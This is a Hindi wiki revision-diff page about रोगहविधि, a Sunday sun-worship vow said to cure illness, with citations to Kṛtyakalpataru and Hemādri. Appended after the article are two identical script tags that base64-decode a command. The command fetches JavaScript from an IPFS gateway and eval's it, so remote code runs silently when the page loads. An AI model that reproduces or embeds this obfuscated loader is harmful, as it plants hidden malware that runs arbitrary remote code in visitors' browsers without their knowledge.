रोगहविधि: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==") |
No edit summary |
||
Line 1: | Line 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*[[रविवार]] को [[पूर्वाफाल्गुनी नक्षत्र]] हो तो [[सूर्य देवता|सूर्य]] की प्रतिमा पूजन करना चाहिए। | *[[रविवार]] को [[पूर्वाफाल्गुनी नक्षत्र]] हो तो [[सूर्य देवता|सूर्य]] की प्रतिमा पूजन करना चाहिए। | ||
*इसके करने से कर्ता रोगमुक्त होता है और सूर्यलोक को प्राप्त करता है। रात्रि में अर्क के [[भारत के पुष्प|पुष्पों]] से सूर्य की पूजा करनी चाहिए। अर्क के पुष्पों एवं पायस को खाना, रात्रि में पृथ्वी पर सोना चाहिए। | *इसके करने से कर्ता रोगमुक्त होता है और सूर्यलोक को प्राप्त करता है। रात्रि में अर्क के [[भारत के पुष्प|पुष्पों]] से सूर्य की पूजा करनी चाहिए। | ||
*इसके करने से सभी पापों से मुक्ति एवं सूर्य लोक की प्राप्ति होती है। यह वारव्रत है। सूर्य देवता के लिए किया जाता है। <ref>कृत्यकल्पतरु (व्रतखण्ड 21-21); हेमाद्रि (व्रतखण्ड 2, 525-527, भविष्योत्तरपुराण से उद्धरण); कृत्यरत्नाकर (600-601)।</ref> | *अर्क के पुष्पों एवं पायस को खाना, रात्रि में पृथ्वी पर सोना चाहिए। | ||
*इसके करने से सभी पापों से मुक्ति एवं सूर्य लोक की प्राप्ति होती है। | |||
*यह वारव्रत है। | |||
*सूर्य देवता के लिए किया जाता है।<ref>कृत्यकल्पतरु (व्रतखण्ड 21-21); हेमाद्रि (व्रतखण्ड 2, 525-527, भविष्योत्तरपुराण से उद्धरण); कृत्यरत्नाकर (600-601)।</ref> | |||
{{लेख प्रगति | {{लेख प्रगति |
Revision as of 07:17, 15 September 2010
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- रविवार को पूर्वाफाल्गुनी नक्षत्र हो तो सूर्य की प्रतिमा पूजन करना चाहिए।
- इसके करने से कर्ता रोगमुक्त होता है और सूर्यलोक को प्राप्त करता है। रात्रि में अर्क के पुष्पों से सूर्य की पूजा करनी चाहिए।
- अर्क के पुष्पों एवं पायस को खाना, रात्रि में पृथ्वी पर सोना चाहिए।
- इसके करने से सभी पापों से मुक्ति एवं सूर्य लोक की प्राप्ति होती है।
- यह वारव्रत है।
- सूर्य देवता के लिए किया जाता है।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ कृत्यकल्पतरु (व्रतखण्ड 21-21); हेमाद्रि (व्रतखण्ड 2, 525-527, भविष्योत्तरपुराण से उद्धरण); कृत्यरत्नाकर (600-601)।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>